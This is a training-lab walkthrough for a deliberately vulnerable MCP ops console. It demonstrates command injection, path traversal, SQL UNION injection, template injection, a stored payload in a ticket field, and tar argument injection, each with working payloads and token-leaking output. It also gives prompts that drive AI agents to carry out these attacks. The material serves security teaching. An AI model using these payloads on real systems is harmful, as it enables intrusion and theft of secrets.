What command injection is
Command injection is user input reaching an interpreter as code instead of data.
The tool runs this, with your input in place of {path}:
tail -n 50 {path}
tail -n 50 api.log returns the last 50 lines of the log
tail -n 50 api.log;whoami returns the last 50 lines, and execute whoami command
Lab setup
setting up MCP Server
git clone https://github.com/truststrikelabs/BrokenMCP.git
cd BrokenMCP
pip3 install -r requirements.txt --break-system-packages
Start Web UI and leave it running:
python3 gui/run.py
Open http://127.0.0.1:8410, pick MCP05 from the sidebar, and press Start lab. That serves:
Server ID: ops_mcp
MCP endpoint: http://127.0.0.1:8404/mcp
setting up MCP client
npx @modelcontextprotocol/inspector
Inspector Configuration
Add server
Server ID: ops_mcp
Transport: streamable-http
URL: http://127.0.0.1:8404/mcp
claude
claude mcp add -s project --transport http ops_mcp http://127.0.0.1:8404/mcp
codex
codex mcp add ops_mcp --url http://127.0.0.1:8404/mcp
Restart claude/codex chat windows for mcp to load.
Lab background
Nobody at BrokenMCP Corp has SSH access to production. That was the security win of the year.
Instead there is a console. You tell it which log to tail, which report to read, which customer to look up, and it runs the command for you. It is the safe way to touch production.
ops_mcp is that console.
Who you are
You are ops-assistant, acting as dozy.
Tools > my_access
{
"agent": "ops-assistant",
"account": "dozy",
"role": "On-call Engineer",
"task": "investigate payments-api errors since the 1 August deploy",
"shell": "not available. Commands run through this tool.",
"sanitising": "input is checked against a denylist",
"note": "There is a control. It is a denylist, and it is checked before anything else."
}
sanitising: input is checked against a denylist. Remember that line. There is a control, it runs before anything else, and it is a list of things to reject.
1. The Semicolon
Tail a payments-api log and find way to get content of /srv/ops/config/ops.toml
Vulnerable Code
def build_shell_command(service: str, lines: int) -> str:
"""The string tail_log would hand to a shell. Built by concatenation, which is the bug."""
return f"tail -n {lines} {LOGS_DIR}/{service}.log"
Before that runs, the denylist does. Probe it and it tells you what it caught:
Tools > tail_log service = payments-api && whoami
{
"status": "rejected",
"message": "Rejected: the value contains '&&'",
"blocked_token": "&&",
"note": "The check is a denylist. It rejects what is on the list."
}
|, backticks, $(, and > all come back the same way. Somebody thought hard about this list. Keep going.
Lab Walkthrough
Using MCP Inspector:
Tools > list_services
Tools > tail_log service = payments-api && whoami
Tools > tail_log service = payments-api; cat /srv/ops/config/ops.toml #
Using AI prompt:
ShowHide
Call list_services, then tail the payments-api log.
Try a few separators and tell me which ones the tool refuses.
Response
Tools > tail_log service = payments-api; cat /srv/ops/config/ops.toml #
{
"service": "payments-api; cat /srv/ops/config/ops.toml #",
"command_built": "tail -n 50 /srv/logs/payments-api; cat /srv/ops/config/ops.toml #.log",
"commands_run": 2,
"output": [
"2026-08-02T09:14:02Z INFO request id=req_8841 status=200",
"2026-08-02T09:14:19Z ERROR upstream timeout after 30000ms",
"2026-08-02T09:15:03Z ERROR upstream timeout after 30000ms",
"2026-08-02T09:15:44Z WARN retry budget exhausted for checkout-web"
],
"extra_output": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
"audit_reference": "FLAG{shell_metachar_a1b2c3d4e5}"
}
The denylist blocks &&, ||, |, backticks, $(, >>, > and <. It does not block ;. So tail ran, then cat /srv/ops/config/ops.toml ran, and its output is in extra_output.
2. Path Traversal
Read report inc-2291.md and see if you can also read config/ops.toml
Vulnerable Code
def resolve_report_path(user_path: str) -> str:
return posixpath.normpath(f"{REPORTS_DIR}/{user_path}")
user_path comes from the caller. Nothing checks it stays in the reports folder.
inc-2291.md -> /srv/ops/reports/inc-2291.md
../config/ops.toml -> /srv/ops/config/ops.toml
Lab Walkthrough
Using MCP Inspector:
Tools > list_reports
Tools > read_report path = inc-2291.md
Tools > read_report path = ../config/ops.toml
Using AI prompt:
ShowHide
Call list_reports and note the reports directory.
Then read the console config at /srv/ops/config/ops.toml through the reports tool.
Response
A normal report reads fine:
Tools > read_report path = inc-2291.md
{
"requested": "inc-2291.md",
"resolved_to": "/srv/ops/reports/inc-2291.md",
"base_dir": "/srv/ops/reports",
"content": "# INC-2291\n\nA customer API key was found in a public repository.\nClosed 2026-02-03. See the keys service for the remediation record.\n"
}
Same tool, with ../ in front:
Tools > read_report path = ../config/ops.toml
{
"requested": "../config/ops.toml",
"resolved_to": "/srv/ops/config/ops.toml",
"base_dir": "/srv/ops/reports",
"output": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
"audit_reference": "FLAG{path_traversal_a1b2c3d4e5}"
}
3. SQL Injection
Search for any customer and enumerate the database schema. Goal is to read data from access_token table
Vulnerable Code
def search_interpolated(term: str) -> list[list[Any]]:
sql = f"SELECT name, plan, email FROM customers WHERE name LIKE '%{term}%'"
with closing(get_connection()) as connection:
return [list(row) for row in connection.execute(sql).fetchall()]
The tool is meant to search the customers table.
but it builds SQL query:
WHERE name LIKE '%{term}%'
The database also contains access_tokens, not just customers.
Because all tables are in the same database, an injected search can read data from access_token.
First, what is in the database:
Tools > describe_schema
{
"count": 3,
"tables": [
{ "table": "access_tokens", "columns": ["id", "customer", "token", "scope"], "rows": 3 },
{ "table": "customers", "columns": ["id", "name", "plan", "email"], "rows": 3 },
{ "table": "tickets", "columns": ["ticket_id", "customer", "subject", "affected_service", "filed", "status"], "rows": 3 }
],
"queried_by_search": "customers",
"note": "search_customers reads one of these tables. The others are still in the file."
}
Lab Walkthrough
Using MCP Inspector:
Tools > describe_schema
Tools > search_customers name = Acme
Tools > search_customers name = x' UNION SELECT customer, token, scope FROM access_tokens --
Using AI prompt:
ShowHide
Call describe_schema. Search for a customer normally, then search in a way
that returns rows from a table the search does not read.
Response
A normal search:
Tools > search_customers name = Acme
{
"term": "Acme",
"sql_built": "SELECT name, plan, email FROM customers WHERE name LIKE '%Acme%'",
"count": 1,
"results": [
["Acme Freight", "growth", "[email protected]"]
]
}
Same tool, with a quote in the term:
Tools > search_customers name = x' UNION SELECT customer, token, scope FROM access_tokens --
{
"term": "x' UNION SELECT customer, token, scope FROM access_tokens --",
"sql_built": "SELECT name, plan, email FROM customers WHERE name LIKE '%x' UNION SELECT customer, token, scope FROM access_tokens --%'",
"count": 3,
"results": [
["Acme Freight", "ops_live_9b0e7734c85a10df46b2e97035ca8d61", "read:logs write:tickets"],
["Northwind Health", "ops_live_c41f8a2d93b7e50162fa8d4c37e9b021", "read:logs"],
["Vertex Robotics", "ops_live_2ad55e10b7c4938ef2016da5c48b7f39", "read:logs"]
],
"rows_if_bound": 0,
"audit_reference": "FLAG{sql_injection_a1b2c3d4e5}"
}
4. The Template
Render a summary with your own body and check whether the tool evaluates it.
Vulnerable Code
rendered, resolved = sandbox.render(source, context)
source is the body you sent.
The renderer evaluates whatever is inside {{ }} instead of printing it.
Send {{ 7*7 }} and see which one comes back.
{{ 7*7 }} printed -> the tool is safe
{{ 7*7 }} evaluated -> 49
Lab Walkthrough
Using MCP Inspector:
Tools > list_templates
Tools > render_summary body = {{ 7*7 }}
Tools > render_summary body = Console token is {{ console.token }}, rotated {{ console.token_rotated }}
Using AI prompt:
ShowHide
Call list_templates, then render a summary with a body of your own.
Send an arithmetic expression first and tell me what comes back.
Response
The probe:
Tools > render_summary body = {{ 7*7 }}
{
"template": "inline",
"rendered": "49",
"resolved_expressions": ["7*7"]
}
49 came back, so the body is evaluated. Now name something instead of a number:
Tools > render_summary body = Console token is {{ console.token }}, rotated {{ console.token_rotated }}
{
"template": "inline",
"rendered": "Console token is ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f, rotated never",
"resolved_expressions": ["console.token", "console.token_rotated"],
"audit_reference": "FLAG{template_injection_a1b2c3d4e5}"
}
console is the console's own config, and it holds the token.
5. It Came From a Ticket
Investigate ticket TK-3312.
Vulnerable Code
tailed = _tail(ticket["affected_service"], 50, origin="ticket")
affected_service comes from the ticket. A customer typed it.
Lab Walkthrough
Using MCP Inspector:
Tools > list_tickets
Resources > ticket://ops/TK-3312
Tools > investigate_ticket ticket_id = TK-3312
Using AI prompt:
ShowHide
Read every escalated ticket with ticket://ops/{ticket_id}, including every field
the customer filled in. Then investigate TK-3312.
Response
The ticket, as Acme Freight filed it:
Resources > ticket://ops/TK-3312
{
"ticket_id": "TK-3312",
"customer": "Acme Freight",
"subject": "Checkout fails intermittently after the 1 August deploy",
"affected_service": "payments-api; cat /etc/passwd #",
"filed": "2026-08-01",
"status": "escalated",
"note": "affected_service is customer-supplied and stored verbatim."
}
Then investigate it, which is the correct thing to do with an escalated ticket:
Tools > investigate_ticket ticket_id = TK-3312
{
"ticket": "TK-3312",
"customer": "Acme Freight",
"subject": "Checkout fails intermittently after the 1 August deploy",
"investigated_service": "payments-api; cat /etc/passwd #",
"command_built": "tail -n 50 /srv/logs/payments-api; cat /etc/passwd #.log",
"commands_run": 2,
"output": [
"2026-08-02T09:14:02Z INFO request id=req_8841 status=200",
"2026-08-02T09:14:19Z ERROR upstream timeout after 30000ms",
"2026-08-02T09:15:03Z ERROR upstream timeout after 30000ms",
"2026-08-02T09:15:44Z WARN retry budget exhausted for checkout-web"
],
"extra_output": "root:x:0:0:root:/root:/usr/sbin/nologin",
"payload_from": "the tickets table, typed by a customer on 2026-08-01",
"audit_reference": "FLAG{indirect_payload_a1b2c3d4e5}"
}
This is still command injection, but the payload did not come from our current input.
The dangerous string was already stored in the ticket:
payments-api; cat /etc/passwd
So the shell ran two commands:
tail -n 50 /srv/logs/payments-api
cat /etc/passwd
6. Argument Injection
Archive a log path in a way that makes tar do something other than archive it.
Vulnerable Code
def build_tar_argv(archive: str, path: str) -> list[str]:
return ["tar", "-czf", archive, path]
The tool is meant to archive a folder.
It builds this command:
tar -czf /srv/archive/logs.tgz {path}
You control {path}.
tar reads any value starting with a dash as an option, not as a folder name.
{path} = /srv/logs
tar archives the folder
{path} = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"
tar runs sh instead
The console documents what it wraps:
Resources > manual://ops/tar
{
"command": "tar",
"used_by": "archive_logs",
"invoked_as": ["tar", "-czf", "/srv/archive/logs.tgz", "<path>"],
"note": "tar reads any argument beginning with a dash as an option, wherever it appears. Options are only stopped by a -- separator, which this console does not pass.",
"options": {
"--checkpoint": "sets how often tar reports progress",
"--checkpoint-action": "runs an action at each checkpoint, including exec=",
"--to-command": "pipes each extracted file into a command",
"--use-compress-program": "runs the named program to compress"
}
}
Lab Walkthrough
Using MCP Inspector:
Resources > manual://ops/tar
Tools > archive_logs path = /srv/logs
Tools > archive_logs path = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"
Using AI prompt:
ShowHide
Read manual://ops/tar. Archive the log directory, then archive a path that tar
will not treat as a path, and tell me how it was read.
Response
A real path archives fine:
Tools > archive_logs path = /srv/logs
{
"archive": "/srv/archive/logs.tgz",
"argv": ["tar", "-czf", "/srv/archive/logs.tgz", "/srv/logs"],
"shell": false,
"note": "No shell is involved. The arguments are passed as a list.",
"read_as": "path",
"archived": [
"/srv/logs/checkout-web.log",
"/srv/logs/infra-manifests.log",
"/srv/logs/payments-api.log"
]
}
Same tool, with a value starting with a dash:
Tools > archive_logs path = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"
{
"archive": "/srv/archive/logs.tgz",
"argv": ["tar", "-czf", "/srv/archive/logs.tgz", "--checkpoint-action=exec=sh -c \"cat /srv/ops/config/ops.toml\""],
"shell": false,
"note": "No shell is involved. The arguments are passed as a list.",
"read_as": "option",
"option": "--checkpoint-action",
"option_does": "runs an action at each checkpoint, including exec=",
"would_execute": "sh -c \"cat /srv/ops/config/ops.toml\"",
"output_if_run": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
"impact": "remote code execution",
"audit_reference": "FLAG{argument_injection_a1b2c3d4e5}"
}
Reference
- https://owasp.org/www-project-mcp-top-10/2025/MCP05-2025%E2%80%93Command-Injection&Execution
- https://modelcontextprotocol.io/